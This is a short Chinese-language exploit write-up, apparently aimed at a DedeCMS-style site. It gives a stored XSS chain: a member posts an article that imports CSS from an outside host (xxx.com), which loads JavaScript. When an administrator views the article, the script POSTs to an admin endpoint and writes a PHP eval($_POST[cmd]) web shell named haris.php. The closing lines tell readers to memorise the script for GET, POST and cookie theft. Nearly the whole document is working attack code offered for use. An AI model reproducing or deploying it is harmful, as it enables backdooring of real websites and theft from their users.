利用条件：开启注册&&开启投稿
方法 ：注册会员 -> 发表文章：内容输入
<style>@import´http://xxx.com/xss.css´;</style> |
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xss.css内容： |
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body{background-image:url(´javascript:document.write(“<script src=http://xxx.com/logo.jpg></script>”)´)} |
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logo.jpg内容： |
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var request = false; |
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if(window.XMLHttpRequest) { |
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request = new XMLHttpRequest(); |
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if(request.overrideMimeType) { |
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request.overrideMimeType(´text/xml´); |
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} |
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} else if(window.ActiveXObject) { |
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var versions = [´Microsoft.XMLHTTP´, ´MSXML.XMLHTTP´, ´Microsoft.XMLHTTP´, ´Msxml2.XMLHTTP.7.0´,´Msxml2.XMLHTTP.6.0´,´Msxml2.XMLHTTP.5.0´, ´Msxml2.XMLHTTP.4.0´, ´MSXML2.XMLHTTP.3.0´, ´MSXML2.XMLHTTP´]; |
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for(var i=0; i<versions.length; i++) { |
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try { |
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request = new ActiveXObject(versions[i]); |
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} catch(e) {} |
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} |
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} |
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xmlhttp=request; |
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function getFolder( url ){ |
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obj = url.split(´/´) |
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return obj[obj.length-2] |
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} |
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oUrl = top.location.href; |
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u = getFolder(oUrl); |
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add_admin(); |
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function add_admin(){ |
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var url= “/”+u+”/sys_sql_query.php”; |
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var params =”fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=%3C%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++”; |
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xmlhttp.open(“POST”, url, true); |
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xmlhttp.setRequestHeader(“Content-type”, “application/x-www-form-urlencoded”); |
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xmlhttp.setRequestHeader(“Content-length”, params.length); |
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xmlhttp.setRequestHeader(“Connection”, “Keep-Alive”); |
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xmlhttp.send(params); |
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} |
1 |
记住这个js脚本吧，get post cookies都可以用这种模式。 |
2 |
这个ajax写得很完善.(新浪蠕虫依赖jquery直接使用ajax). |
